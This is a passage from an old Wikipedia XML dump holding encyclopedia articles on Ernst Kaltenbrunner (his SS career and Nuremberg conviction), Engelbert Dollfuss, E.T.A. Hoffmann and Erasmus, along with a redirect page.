From mid-1935 Kaltenbrunner was the leader of the Austrian SS. He assisted in the ''[[Anschluss]]'' and [[Hitler]] promoted him to SS ''[[Brigadeführer]]'' on the day the ''Anschluss'' was completed. On [[September 11]] [[1938]] he was promoted to the rank of SS ''[[Gruppenführer]]'' (see [http://www.aeiou.at/aeiou.film.data.film/f135a.mpg Video of Kaltenbrunner in Vienna January 1939]). He was also a member of the ''[[Reichstag (institution)|Reichstag]]'' from 1938. In April [[1941]] was promoted to Major General of the Police. 

On [[January 30]] [[1943]] Kaltenbrunner was appointed Chief of the [[RSHA]], comprising both the Security Police ([[Sicherheitspolizei]], or Sipo) and the [[Sicherheitsdienst|SD]], replacing [[Reinhard Heydrich]], who had been [[Operation Anthropoid|assassinated]] in June [[1942]]. Kaltenbrunner held this position until the end of the war. 

Toward the end of the war, Kaltenbrunner's power increased greatly, especially after the attack on Hitler of [[July 20]] [[1944]]. He gained direct access to Hitler. It was said that even [[Heinrich Himmler]] feared him, and rumoured that he was responsible for [[Adolf Eichmann]]'s failure to attain the rank of SS-Colonel. 

On [[December 9]] [[1944]] he was awarded the [[Knight's Cross]]. By then his full title was SS ''[[Obergruppenführer]]'' and General of the Police Dr. Ernst Kaltenbrunner, Chief of the Security Police and the SD. In addition he held the Golden Insignia of Honor and the ''[[Blutorden]]''.

==Nuremberg Trials==
At the [[Nuremberg Trials]] he was charged with conspiracy to commit crimes against peace, war-crimes and crimes against humanity.

His close control over the [[RSHA]] meant that direct knowledge of and responsibility for the following crimes was ascribed to him: 

*Mass murders of civilians of occupied countries by ''[[Einsatzgruppen]]''. 
*Screening of prisoner of war camps and executing racial and political undesirables. 
*The taking of recaptured prisoners of war to concentration camps, where in some cases they were executed. 
*Establishing concentration camps and committing racial and political undesirables to concentration and annihilation camps for slave labor and mass murder. 
*Deportation of citizens of occupied countries for forced labor and disciplining of forced labor. 
*The execution of captured commandos and paratroopers and protection of civilians who lynched Allied fliers. 
*The taking of civilians of occupied countries to Germany for [[secret trial]] and punishment. 
*Punishment of citizens of occupied territories under special criminal procedure and by summary methods. 
*The execution and confinement of persons in concentration camps for crimes allegedly committed by their relatives. 
*Seizure and spoliation of public and private property. 
*Murder of prisoners in SIPO and SD prisons. 
*Persecution of Jews. 
*Persecution of the churches. 

He was found guilty of war-crimes and crimes against humanity and sentenced to death. He was executed at around 1.40 a.m. on [[October 16]], [[1946]]; his last words were &quot;Germany, good luck.&quot;

==Miscellaneous==

In the book &quot;Colonization: Down to Earth&quot; [[Harry Turtledove]] creates an alternative history where Kaltenbrunner is the successor of Himmler as the third Fuhrer and Reichs Chancellor of the Greater German Reich and triggers a war between Nazi Germany and aliens, a war that has as result the destruction of the Reich.

A character in the movie ''[[The Return of the Living Dead]]'' is named &quot;Ernie Kaltenbrunner&quot;.

==External links==
{{Commons|Ernst Kaltenbrunner}}
*[http://www.aeiou.at/aeiou.film.data.film/f135a.mpg Video of a Parade with Kaltenbrunner in January 1939]

[[Category:1903 births|Kaltenbrunner, Ernst]]
[[Category:1946 deaths|Kaltenbrunner, Ernst]]
[[Category:Disbarred attorneys|Kaltenbrunner, Ernst]]
[[Category:Nuremberg executions|Kaltenbrunner, Ernst]]
[[Category:German police officers|Kaltenbrunner, Ernst]]
[[Category:SS General Officers|Kaltenbrunner, Ernst]]
[[Category:SS and Police Leaders|Kaltenbrunner, Ernst]]
[[de:Ernst Kaltenbrunner]]
[[es:Ernst Kaltenbrunner]]
[[fr:Ernst Kaltenbrunner]]
[[it:Ernst Kaltenbrunner]]
[[he:ארנסט קלטנברונר]]
[[ka:კალტენბრუნერი, ერნსტ]]
[[nl:Ernst Kaltenbrunner]]
[[no:Ernst Kaltenbrunner]]
[[pl:Ernst Kaltenbrunner]]
[[ru:Кальтенбрюннер, Эрнст]]
[[fi:Ernst Kaltenbrunner]]
[[sv:Ernst Kaltenbrunner]]</text>
    </revision>
  </page>
  <page>
    <title>Englebert Dolfuss</title>
    <id>10149</id>
    <revision>
      <id>15907982</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Engelbert Dollfuss]]
</text>
    </revision>
  </page>
  <page>
    <title>Engelbert Dollfuss</title>
    <id>10150</id>
    <revision>
      <id>41940603</id>
      <timestamp>2006-03-02T19:47:57Z</timestamp>
      <contributor>
        <username>Hall Monitor</username>
        <id>265063</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Acumen76|Acumen76]] ([[User talk:Acumen76|talk]]) to last version by 140.247.41.252</comment>
      <text xml:space="preserve">[[Image:Dollfuß_radio.jpg|300px|thumb|right|Engelbert Dollfuss]]
'''Engelbert Dollfuss''' ([[German alphabet|German]]: '''Dollfuß''') ([[October 4]] [[1892]], [[Texing]]&amp;mdash;[[July 25]] [[1934]], [[Vienna]]) was an [[Austria|Austrian]] [[statesman]], serving as chancellor for two years from 1932 until his assasination in 1934.  

Born in [[Texing]], Austria, Dollfuss was a religious youth who was educated at a [[seminary]] before deciding to study [[Law]] at the [[University of Vienna]] and then [[Economics]] at the [[University of Berlin]]. During [[World War I]] he had difficulty being drafted due to his short stature but he was eventually accepted and sent to the [[Alpine]] front, briefly becoming a [[POW]] in [[1918]]. After the war, he worked for the [[Agriculture]] ministry as secretary of the Peasants' Association. He became director of the [[Lower Austria]]n Chamber of Agriculture in [[1927]] and in [[1930]] as a member of the conservative [[Christian Social Party]] he was appointed president of the [[ÖBB|Federal Railway System]]. The following year he was named minister of agriculture and forests. 

He became [[Chancellor of Austria|Chancellor]] on [[May 20]] [[1932]], as head of a [[right-wing]] [[coalition government]], designed to tackle the problems caused by the [[Great Depression]]. However, Dollfuss' majority in [[Parliament of Austria|Parliament]] was almost non-existent; [[Deflation (economics)|deflationary]] policies were unpopular and created deep hostility from the Austrian [[Social Democratic Party of Austria|Social Democratic Workers' Party of Austria]] (SDAPÖ), within Parliament and without. Consequently, Dollfuss suspended Parliament indefinitely in March 1933, and governed by decree. Dollfuss arguably also had another reason for the suspension of [[democracy]] in Austria - the [[Nazis]]. With [[Adolf Hitler]] now [[Nazi Germany|German]] Chancellor, it looked increasingly likely that in future elections, the [[Austrian National Socialism|Austrian National Socialists]] (DNSAP) would gain a majority, and Austria would cease to exist as a state. Accordingly, Dollfuss banned the DNSAP in June, and the SDAPÖ in February 1934.

Dollfuss was drawn to Italian fascism and levered support from fascist Italy against Nazi Germany, gaining a guarantee for Austria's independence from Italy in August 1933 in exchange for radical political reforms along Fascist lines.

In September 1933 he formed an umbrella grouping to support the regime, the ''[[Patriotic Front (Austria)|Vaterländische Front]]'' and merged the Christian Social Party with the [[paramilitary]] [[Heimwehr]] (Home Guard), a [[Nationalism|Nationalist]] group. The regime which was installed by him and remained in power until [[1938]] is often called ''[[Austrofascism]]'', while the regime designated itself ''Ständestaat''.

He was assassinated by eight Austrian Nazis, who entered the Chancellery building and shot Dollfuss in an attempted [[coup d'état]], as a prelude to [[Anschluss]]. The Nazis surrendered, were executed, and [[Kurt Schuschnigg]] became the new dictator of Austria.

==External links==
*[http://www.aeiou.at/aeiou.film.data.film/f029a.mpg Video: Dollfuß holds a speech in Burgenland 1933 (mpeg, 6,1 kb)]


{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br&gt;'''[[Karl Buresch]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Chancellor of Austria]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Succeeded by:&lt;br&gt;'''[[Kurt Schuschnigg]]'''
|-
|}



{{Foreign Ministers of Austria}}


[[Category:1892 births|Dollfuss, Engelbert]]
[[Category:1934 deaths|Dollfuss, Engelbert]]
[[Category:Chancellors of Austria|Dollfuss, Engelbert]]
[[Category:Fascists|Dolfuss, Engelbert]]
[[Category:Firearm deaths|Dolfuss, Engelbert]]
[[Category:Foreign ministers of Austria|Dolfuss, Engelbert]]
[[Category:Murdered politicians|Dolfuss, Engelbert]]

[[cs:Engelbert Dollfuss]]
[[de:Engelbert Dollfuß]]
[[es:Engelbert Dollfuss]]
[[fr:Engelbert Dollfuss]]
[[he:אנגלברט דולפוס]]
[[nl:Engelbert Dollfuss]]
[[ja:エンゲルベルト・ドルフース]]
[[no:Engelbert Dollfuß]]
[[pl:Engelbert Dollfuss]]
[[fi:Engelbert Dollfuss]]
[[sv:Engelbert Dollfuß]]</text>
    </revision>
  </page>
  <page>
    <title>E.T.A. Hoffmann</title>
    <id>10151</id>
    <revision>
      <id>40600412</id>
      <timestamp>2006-02-21T19:14:34Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">[[image:eta-hoffman.jpg|right|framed| ETA Hoffman]]

'''Ernst Theodor Amadeus Hoffmann''' ([[January 24]], [[1776]] - [[June 25]], [[1822]]), was a German romantic and [[Fantasy|fantasy]] author and composer. 

Hoffmann's stories were tremendously influential in the [[19th century]], and he is one of the key authors of [[Romanticism | the Romantic movement]]. 

==Life==

Hoffmann was born in [[1776]] in [[Kaliningrad|Königsberg]], [[Prussia]]. Hoffmann's father was a lawyer.

Ernst Hoffmann studied at the [[Gymnasium (school)|Gymnasium]] in Königsberg. He then worked as a Referendar in [[Głogów|Glogau]], [[Silesia]] and in [[Berlin]] in [[Brandenburg]] and next in Prussian provinces in the area of [[Greater Poland]] and [[Mazovia]]:
[[Poznań|Posen]] in [[South Prussia]] and later on to [[Plock]] in [[New East Prussia]]. One of his tasks was to invent names for [[Jew]]s. He found some poetic ones like Goldbaum or Apfelbaum.

He changed his third name from ''Wilhelm'' to Amadeus in 1813 in homage to the composer [[Wolfgang Amadeus Mozart]] (1756-1791).

Hoffmann assimilated well in Polish society; the years spent in Poland he recognized as the happiest in his life. Unfortunately, after he was accused of spying for the Prussian king, social [[ostracism]] followed. In [[1805]] he moved again to Berlin, where he could further his talent as an artist and writer. Since [[1814]] he held a position at the Kammergericht, the chamber court. 

[[Image:Grave of ETA Hoffmann.jpg|thumb|right|Grave of E.T.A. Hoffmann]]
Hoffmann died in [[Berlin]] in [[1822]] at the age of 46, and is buried near the [[Hallesches Tor]], in the [[Jerusalem and New Churches Community Cemetery]] (his gravestone has his original initials).

==Work==
Hoffmann wrote novels and short stories, and he composed music, including an [[opera]], [[Undine (opera by Hoffmann)|Undine]].
However, when reading the original text of E.T.A. Hoffmann's stories, one soon realizes that these stories were conceived and written at a politically very sensitive time. Comparable messages were expressed in earlier animal stories such as Reinicke Fuchs or Aesop's Fables.
His most familiar story is &quot;The Nutcracker and the Mouse King&quot;, which inspired the ballet by [[Pyotr Ilyich Tchaikovsky]]. His story &quot;[[Der Sandmann|The Sandman]]&quot; similarly inspired Delibes's ballet [[Coppelia]].

The [[Nutcracker]] story is full of charming mimed phantasies with Marie (Clara in the ballet), Fritz and Pate Drosselmayr, the mean Mouse King and the popular [[Nutcracker]]. Many children's version books of the Nutcracker have been published. ''Nutcracker'' performances have become a yearly feature in many cities around Christmas time. Yet these stories, as with the majority of his literary work, point beyond themselves in philosophical terms; Hoffmann invariably moves into territory where an exploration of the nature of Selfhood, Art and value-judgements are required in order for the reader to enjoy Hoffmann's writings more fully. Stories are, in their various media, the ultimate form of self-definition and world-interpretation; it is through stories that Hoffmann expresses his aesthetic, ethical and political concerns.

==Assessment==
Hoffmann is one of the best-known representatives of [[German Romanticism]], and a pioneer of the [[fantasy]] genre, with a taste for the [[macabre]] combined with [[realism (arts)|realism]] that influenced such authors as [[Franz Kafka]], [[Edgar Allan Poe]], [[Charles Dickens]], and [[Nikolai Gogol]]. Hoffmann's work illuminates the darker side of the human spirit found behind the hypocritical harmony of [[bourgeois]] life, yet his wide-ranging influence upon and creative significance within the later German romantic period is frequently underestimated.

[[Jacques Offenbach]]'s masterwork, the opera ''[[Les contes d'Hoffmann|Tales of Hoffmann]]'',  takes some cues from ''The Devil's Elixir'' and [[Pyotr Ilyich Tchaikovsky]]'s ballet ''Nutcracker'' is based on a story by Hoffmann.

Hoffmann also influenced 19th-century musical taste directly through his music criticism. His reviews of Beethoven's fifth symphony and other important works set new literary standards for writing about music, and encouraged later writers to see music as &quot;the most Romantic of all the arts.&quot; Hoffmann's reviews have been collected for modern readers by Andrew Crumey, in ''E.T.A. Hoffmann's Writings on Music, Collected in a Single Volume'' (2004).

Hoffmann strove for artistic polymathy. He created far more in his works than mere political commentary achieved through satire. His masterpiece (it is generally agreed) is ''Kater Murr'' (see bibliographical references below). This novel deals with such issues as the aesthetic status of 'true' artistry, and the modes of self-transcendence that accompany any genuine endeavour to create. Hoffmann's portrayal of the character Kreisler (a genius musician) is wittily counterpointed with the character of the tomcat Murr — a virtuoso illustration of artistic pretentiousness that many of Hoffmann's contemporaries found offensive and subvertive of Romantic ideals.

Hoffmann's literature points to the failings of many so-called 'artists' to differentiate between the superficial and the authentic aspects of such Romantic ideals. The ''self-conscious'' effort to impress must, according to Hoffmann, be divorced from the ''self-aware'' effort to create. This essential duality in ''Kater Murr'' is structurally conveyed through a discursive 'splicing together' of two biographical narratives. Such a framework warrants an extensive exploration of its philosophical implications.

==Bibliography==

*''Der goldene Topf'' (''The Golden Pot,'' a fable, 1814)
*''Die Elixiere des Teufels'' (''The Devil's Elixir,'' 2 volumes, 1815/16)
*''Fantasiestücke in Callot's Manier'' (''Fantastic pieces in the manner of Callot''  4 volumes, 1814/15; with a commendatory preface by [[Jean Paul]])
*''Nachtstücke'' (''Night Pieces'', 2 volumes, 1816/17)
*''Das [[Fräulein]] von Scuderi'' (''Mademoiselle Scudéry'', a short story considered his masterpiece, 1819)
*''Die Serapions-Brüder'' (''The Serapion Band'', 4 volumes, 1819-21) (After which the [[Serapion Fraternity]] of writers in early 20th Century Russia was to name itself.)
*''Die Lebensansichten des Katers Murr'' (two-volume fragment, 1819-21)
*''Seltsame Leiden eines Theaterdirektors''
*''Klein Zaches genannt Zinnober''
*''Die Irrungen''
*''Die Geheimnisse''
*''[[Der Sandmann]]''

== External links ==
* {{gutenberg author| id=E.+T.+A.+Hoffmann | name=E.T.A. Hoffmann}}

[[Category:1776 births|Hoffmann, E.T.A.]]
[[Category:1822 deaths|Hoffmann, E.T.A.]]
[[Category:German writers|Hoffmann, E.T.A.]]
[[Category:Romanticism|Hoffmann, E.T.A.]]

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  </page>
  <page>
    <title>Erasmus</title>
    <id>10152</id>
    <revision>
      <id>42156037</id>
      <timestamp>2006-03-04T04:43:48Z</timestamp>
      <contributor>
        <username>Prosfilaes</username>
        <id>49272</id>
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      <comment>/* Legacy */ not the place or the style for the comment</comment>
      <text xml:space="preserve">:''This article deals with Erasmus, the theologian. For other meanings, see [[Erasmus (disambiguation)]].''
[[Image:Holbein-erasmus.jpg|thumb|270px|Desiderius Erasmus in [[1523]] ]]
'''Desiderius Erasmus Roterodamus''' (also '''Desiderius Erasmus of Rotterdam''') ([[October 27]], probably [[1466]] &amp;ndash; [[July 12]], [[1536]]) was a [[Netherlands|Dutch]] [[humanism|humanist]] and [[theology|theologian]]. Erasmus was the most important humanist who wrote in a &quot;pure&quot; Latin style. He was influential on Martin Luther who admired him and desired his friendship.  He remained, however, a faithful Roman Catholic and harshly criticised what he considered Luther's excesses. He prepared new Latin and Greek editions of the New Testament. Erasmus wrote ''[[The Praise of Folly]]'', ''Handbook of a Christian Knight'', and ''On Civility in Children.''

==Biography==
Erasmus was born with the name '''Gerrit Gerritszoon''' ([[Dutch language|Dutch]] for Gerhard Gerhardson), probably in [[Rotterdam]], although recent discoveries suggest he was actually born in [[Gouda]], the [[Netherlands]].  Although much associated with this city, he lived there for only four years, never to return. Information on his family and early life comes mainly from vague references in his writings. He was almost certainly [[illegitimacy|illegitimate]].  His father later became a priest named Roger Gerard.  Little is known of his mother other than the fact that her name was Margaret and she was the daughter of a physician.  Despite being illegitimate, Erasmus was cared for by his parents until their early deaths from the [[Black Death|plague]] in [[1483]], and then given the best education available to a young man of his day in a series of monastic or semi-monastic schools. In [[1487]] Erasmus became deeply attached to a young man, Servatius Rogerus, whom he called &quot;half my soul&quot;, writing &quot;I have wooed you both unhappily and relentlessly&quot;.{{ref|Stevens}} 

In [[1492]], he was admitted to the  [[priesthood]] and took [[monk|monastic]] vows at about the age of twenty-five, but he never seems to have worked as a priest, and [[monasticism]] was one of the chief objects of his attack in his lifelong assault upon the evils of the Church.  Soon after his ordination, he got his chance to leave the monastery when offered the post of secretary to the Bishop of Cambray, Henry of Bergen, on account of his great skill in [[Latin]] and his reputation as a [[man of letters]].

In [[1495]], with the bishop's consent and stipend, he went on to study at the [[University of Paris]], then the chief seat of scholastic learning, but already under the influence of the revived classical culture of [[Italy]].  The chief centers of his activity were [[Paris]], [[Leuven]] (Louvain), [[England]], and [[Basel]]; yet he never belonged firmly in any one of these places. His time in England was fruitful in the making of lifelong friendships with the leaders of English thought in the stirring days of King [[Henry VIII of England|Henry VIII]]: [[John Colet]], [[Thomas More]], [[John Fisher]], [[Thomas Linacre]], and [[William Grocyn]].  At the [[University of Cambridge]] he was [[Lady Margaret's Professor of Divinity]], and had the option of spending the rest of his life as an English [[professor]]. He stayed at [[Queens' College, Cambridge]] and may have been an [[alumnus]].

Erasmus preferred to live the life of an independent scholar, and made a conscious effort to avoid any actions or formal ties that might inhibit his freedom of intellect and literary expression.  Throughout his life, he was offered many positions of honour and profit throughout the academic world but declined them all, preferring the uncertain but sufficient rewards of independent literary activity. From [[1506]] to [[1509]] he was in Italy.  He spent part of the time at the publishing house of [[Aldine Press|Aldus Manutius]] at [[Venice]], but apart from this he had a less active association with Italian scholars than might have been expected. 

His residence at [[Leuven]] exposed Erasmus to much petty criticism, from those hostile to the principles of literary and religious progress to which he was devoting his life. He represented this lack of sympathy as persecution, and sought refuge in [[Basel]], where under the shelter of Swiss hospitality he could express himself freely and where he was surrounded by devoted friends. Here he was associated for many years with the great publisher [[Froben]], and to him came the multitude of his admirers from all quarters of Europe.

Erasmus's literary productivity began comparatively late in his life. Only when he had mastered [[Latin]] did he begin to express himself on major contemporary themes in [[literature]] and [[religion]]. His revolt against the forms of church life did not result from doubts about the truth of the traditional [[doctrine]], nor from any hostility to the organization of the Church itself. Rather, he felt called upon to use his learning in a purification of the doctrine and in a liberalizing of the institutions of [[Christianity]]. As a scholar, he tried to free the methods of scholarship from the rigidity and formalism of medieval traditions; but he was not satisfied with this. He saw himself as a preacher of righteousness. It was this lifelong conviction that guided Erasmus as he regenerated [[Europe]] through sound criticism applied frankly and without fear to the Catholic Church. This conviction gives unity and consistency to a life which might otherwise seem full of contradictions. Erasmus held himself aloof from all entangling obligations; yet he was in a singularly true sense the center of the literary movement of his time. He corresponded with more than five hundred men of the highest importance in the world of politics and of thought, and his advice on all kinds of subjects was eagerly sought, if not always followed.

While in England Erasmus began the systematic examination of manuscripts of the [[New Testament]] to prepare for a new edition and Latin translation. This edition was published by Froben of Basel in [[1516]] and was the basis of most of the scientific study of the Bible during the Reformation period (see Bible Text, II., 2, § 1). He published a [[Textual criticism|critical edition]] of the Greek [[New Testament]] in [[1516]] - ''Novum Instrumentum omne, diligenter ab Erasmo Rot. Recognitum et Emendatum''. This edition included a Latin translation and annotations. It used recently rediscovered additional manuscripts. In the second edition the more familiar term ''Testamentum'' was used instead of ''Instrumentum''. This edition was used by the translators of the [[King James Version]] of the Bible. The text later became known as the ''[[Textus Receptus]]''. Erasmus published three other editions - in [[1522]], [[1527]] and [[1535]]. Erasmus dedicated his work to [[Pope Leo X]] as a patron of learning, and he regarded this work as his chief service to the cause of Christianity. Immediately afterwards he began the publication of his ''Paraphrases of the New Testament'', a popular presentation of the contents of the several books.  These, like all of his writings, were published in Latin, but were quickly translated into other languages, with his encouragement.

[[Martin Luther]]'s movement began in the year following the publication of the New Testament, and tested Erasmus's character. The issue between European society and the Roman Church had become so clear that few could escape the summons to join the debate. Erasmus, at the height of his literary fame, was inevitably called upon to take sides, but partisanship was foreign to his nature and his habits. In all his criticism of clerical follies and abuses he had always protested that he was not attacking church institutions themselves and had no enmity toward churchmen. The world had laughed at his [[satire]], but few had interfered with his activities. He believed that his work so far had commended itself to the best minds and also to the dominant powers in the religious world. 

Erasmus was in sympathy with the main points in the Lutheran criticism of the Church. For [[Martin Luther]] personally he had the greatest respect, and Luther always spoke with admiration of Erasmus's superior learning. Luther hoped for his cooperation in a work which seemed only the natural outcome of his own. In their early correspondence Luther expressed boundless admiration for all Erasmus had done in the cause of a sound and reasonable Christianity, and urged him to join the Lutheran party. Erasmus declined to commit himself, arguing that to do so would endanger his position as a leader in the movement for pure scholarship which he regarded as his purpose in life. Only as an independent scholar could he hope to influence the reform of religion.  When Erasmus hesitated to support him, it seemed to the straightforward Luther an avoidance of responsibility due either to [[cowardice]] or lack of purpose.  Erasmus, however, dreaded any change in [[doctrine]] and believed that there was room within existing formulas for the kind of reform he valued most. 

Twice in the course of the great discussion he allowed himself to enter the field of doctrinal controversy, a field foreign to both his nature and his previous practice. One of the topics he dealt with was the [[free will|freedom of the will]], a crucial point. In his  ''De libero arbitrio diatribe sive collatio'' ([[1524]]), he lampoons the Lutheran view on free will. He lays down both sides of the argument impartially. The &quot;Diatribe&quot; did not encourage any definite action; this was its merit to the Erasmians and its fault in the eyes of the Lutherans.  In response Luther wrote his ''De Servo Arbitrio'' ([[On the Bondage of the Will]]) ([[1525]]), which viciously attacks the &quot;Diatribe&quot; and Erasmus himself, going so far as to claim that Erasmus was not a Christian.

As the popular response to Luther gathered momentum, the social disorders which Erasmus predicted would result from Lutheran antinomianism began to appear. The [[Peasants' War]], the [[Anabaptist]] disturbances in Germany and in the Low Countries, [[iconoclasm]] and [[radicalism]] everywhere, seemed to confirm all his gloomy predictions. If these were the outcomes of reform, he was thankful he had kept out of it. Yet he was being ever more bitterly accused of having started the whole &quot;tragedy.&quot; In [[Switzerland]] he was especially exposed to criticism through his association with men there who were more than suspected of extreme rationalistic doctrines.

When the city of [[Basel]] was definitely and officially &quot;reformed&quot; in 1529, Erasmus gave up his residence there and settled in the imperial town of [[Freiburg im Breisgau]]. 

[[Image:Hans Holbein d. J. 047.jpg|thumb|right|270px|Erasmus by [[Hans Holbein the Younger|Holbein]]]]
The test question was the doctrine of the [[sacrament]]s, and the crux of this question was the observance of the [[Eucharist]]. in [[1530]] Erasmus published a new edition of the orthodox treatise of [[Algerus]] against the heretic [[Berengar of Tours]] in the [[11th century]]. He added a dedication, affirming his belief in the reality of the Body of Christ after consecration in the Eucharist. The [[anti-sacramentarian]]s, headed by [[Johannes Oecolampadius|&amp;OElig;colampadius]] of [[Basel]], were, as Erasmus says, quoting him as holding views similar to their own in order to try to claim him for their schismatic movement.

==Writings==
Erasmus wrote both on ecclesiatic subjects and those of general human interest.  He seems to have regarded the latter as trifling, a leisure activity.

His more serious writings begin early with the ''Enchiridion Militis Christiani,'' the &quot;Handbook of the Christian Soldier&quot; ([[1503]]). In this short work, Erasmus outlines the views of the normal Christian life, which he was to spend the rest of his days in elaborating.  The chief evil of the day, he says, is formalism, going through the motions of tradition without understanding their basis in the teachings of Christ.  Forms can teachthe soul how to worship God or they may hide or quench the spirit. In his examination of the dangers of formalism, Erasmus discusses [[monasticism]], saint-worship, war, the spirit of class and the foibles of  &quot;society&quot;, but the ''Enchiridion'' is more like a sermon than a [[satire]]. 

Erasmus' best-known work was ''[[The Praise of Folly]],'' ([[Latin]]: ''Moriae Encomium'') a satirical attack on the traditions of the Catholic Church and popular superstitions, written in 1509 and published in 1511 and dedicated to his friend Sir [[Thomas More]].  

The ''[[Institutio Principis Christiani]]'' (Basel, [[1516]]), was written as advice to the young king Charles of Spain, later [[Charles V, Holy Roman Emperor]]. Erasmus applies the general principles of honour and sincerity to the special functions of the Prince, whom he represents throughout as the servant of the people.  The ''Education of a Christian Prince'' was published in 1516, 26 years before [[Machiavelli]]’s ''The Prince.''  A comparison between the two is worth noting.  [[Machiavelli]] stated that, to maintain control by political force, it is safer for a prince to be feared than loved.  Erasmus, on the other hand, preferred for the prince to be loved, and suggested that the prince needed a well-rounded education in order to govern justly and benevolently and avoid becoming a source of oppression.  

In 1516, Erasmus anonymously published a satiric dialogue, ''Julius Exclusus'', in which Pope [[Julius II]] is turned away from the gates of Heaven by St. Peter.  

As a result of his reformatory activities, Erasmus found himself at odds with both the great parties. His last years were embittered by controversies with men toward whom he was sympathetic. Notable among these was [[Ulrich von Hutten]], a brilliant, but erratic genius, who had thrown himself into the Lutheran cause and had declared that Erasmus, if he had a spark of honesty, would do the same. In his reply, ''Spongia adversus aspergines Hutteni'' ([[1523]]), Erasmus displays his skill in [[semantics]]. He accuses Hutten of having misinterpreted his utterances about reform and reiterates his determination never to break with the Church. 

The most important work of this last period is the ''[[Ecclesiastes_of_Erasmus|Ecclesiastes]]'' or &quot;Gospel Preacher&quot; ([[Basel]], [[1535]]), in which he comments on the function of preaching. His  little tract of [[1533]], &quot;Preparation for Death&quot;, in which the emphasis throughout is on the importance of a good life as the essential condition of a happy death.

References: 

Gauss, C. (1999). Introduction to ''The Prince.'' New York, NY: Signet.  First published in 1949, p. 11.

Jardine, L. (1997). Introduction to Erasmus: ''The Education of a Christian prince.'' Cambridge, UK: Cambridge University Press.

==Legacy==
The  extraordinary popularity of his books, however, has been shown in the number of editions and translations that have appeared since the 16th century, and in the undiminished interest excited by his elusive but fascinating personality.  Ten columns of the catalogue of the British Library are taken up with the bare enumeration of the works and their subsequent reprints. The greatest names of the classical and patristic world are among those translated, edited or annotated by Erasmus, including as Saint [[Ambrose]], [[Aristotle]], Saint [[Augustine of Hippo|Augustine]], Saint [[Basil of Caesarea|Basil]], Saint [[John Chrysostom]], [[Cicero]], and Saint [[Jerome]].

Today in his home town of Rotterdam, the [[Erasmus Universiteit|University]] has been named in his honour.

However, Erasmus' reputation and interpretations of his work have varied greatly over time.  Following his death there was an initial outflow of support and admiration, primarily by his supporters, but also throughout Europe.  Moderate Catholics saw in him a leading figure in attempts to reform Church, while Protestants recognized his initial support for Luther's ideas and the groundwork he laid for the future Reformation. By the 1560s, however, there is a marked change in reception.  

The Catholic [[Counter-Reformation]] movement often condemned Erasmus as being worse than Luther himself, and as having &quot;laid the egg that hatched the Reformation.&quot; Their critique of him was formulated principally for his not being strong enough in his criticism of Luther, for not seeing the dangers of a vernacular Bible, and for dabbling in dangerous scriptural criticism that weakened the church's arguments against [[Arianism]] and other doctrines. All of his works were placed on the prohibited Index of books for [[Paul IV]], and some of his works continued to be banned or viewed with caution in the later Index of [[Pius IV]].

Protestant views of Erasmus fluctuate largely depending on region and period, with continuous support in his native Netherlands and in cities of the Upper Rhine area.  However, following his death and in the late 16th century Reformation supporters see Erasmus' critiques of Luther and lifelong support for the universal Catholic Church as damning.  His reception was particularly cold in the Reformed Protestant groups. 

By the coming of the [[Age of Enlightenment]], however, Erasmus was increasingly returning to become a more widely respected cultural symbol and hailed as an important figure by increasingly broad groups.

Reference:  

Mansfield, Bruce E. Phoenix of His Age: Interpretations of Erasmus C. 1550-1750.

==Representations of Erasmus==
[[Image:HolbeinErasmusHands.jpg|thumb|right|240px|Holbein's studies of Erasmus' hands, in silverpoint and chalks, ca. 1523. ([[Louvre]])]]
Other works:
* ''[[Colloquia]]''  which appeared at intervals from [[1500]] on. 
* ''[[Apophthegmatum opus]]''
* ''[[Adagia]]''

The portraitist [[Hans Holbein the Younger]] made a profile half-length portrait in [[1523]], and [[Albrecht Dürer]] made an engraving of Erasmus in [[1526]].
*

==Notes==
#{{note|Stevens}} Stevens, Forrest Tyler. Erasmus's &quot;Tigress&quot;: The Language of Friendship, Pleasure, and the Renaissance Letter. Queering The Renaissance. Duke University Press 1994.

==Critical bibliography==
*Botley, Paul. ''Latin Translation in the Renaissance: The Theory and Practice of [[Leonardo Bruni]], [[Giannozzo Manetti]] and Desiderius Erasmus''. London: Cambridge University Press, 2004.
*Chantraine, Georges. « Philosophie erasmienne et théologie lutérienne. »  &amp;#8220;Mystère&amp;#8221; et &amp;#8220;Philosphie du Christ&amp;#8221; selon Erasme. Brussels : Duculot, 1971, 374-6.
*Dockery, David S., “The Foundation of Reformation Hermeneutics: A Fresh Look at Erasmus,” Premise 2, no. 9 (October 19, 1995): 6-ff. - An appreciative look at Erasmus' contribution to biblical [[hermeneutics]] (interpretation methods) from an [[Evangelical]] Christian perspective.
*Hoffmann, Manfred. Rhetoric and Theology: The Hermeneutic of Erasmus. Toronto: University of Toronto Press, 1994. 
*Huizinga, Johan.  ''Erasmus and the Age of Reformation''.  New York: Harper Torchbooks, 1957. - Huizinga's text was translated from Dutch and first published by Charles Scribner's Sons in 1924.  It is considered one of the foundational Erasmus biographies of the 20th century.
*Jardine, Lisa. ''Erasmus, Man of Letters : The Construction of Charisma in Print''. Princeton, N.J., Princeton University Press, 1993. - Argues that Erasmus was extremely careful and skillful in creating, manipulating, and managing his own image.
*Mansfield, Bruce E. Phoenix of His Age : Interpretations of Erasmus C. 1550-1750. Erasmus Studies; 4. Toronto; Buffalo: University of Toronto Press, 1979. - Traces the reception and interpretations of Erasmus after his death.
*Payne, John B.  ''Erasmus: His Theology of the Sacraments''.  Richmond: John Knox Press, 1970.  - This work gives great attention to Erasmus' own writings, and analizes the different aspects of his theology in light of his Catholic and Humanist influences.  Payne did extensive work on UTP's ''Collected Works of Erasmus'' editions.
*Phillips, Margaret Mann. Erasmus and the Northern Renaissance. Teach Yourself History Library. London,: Hodder &amp; Stoughton, 1949. - An important classic on the topic.
*Rabil, Albert. Erasmus and the New Testament: The Mind of a Christian 	Humanist. San Antonio: Trinity University Press, 1972.
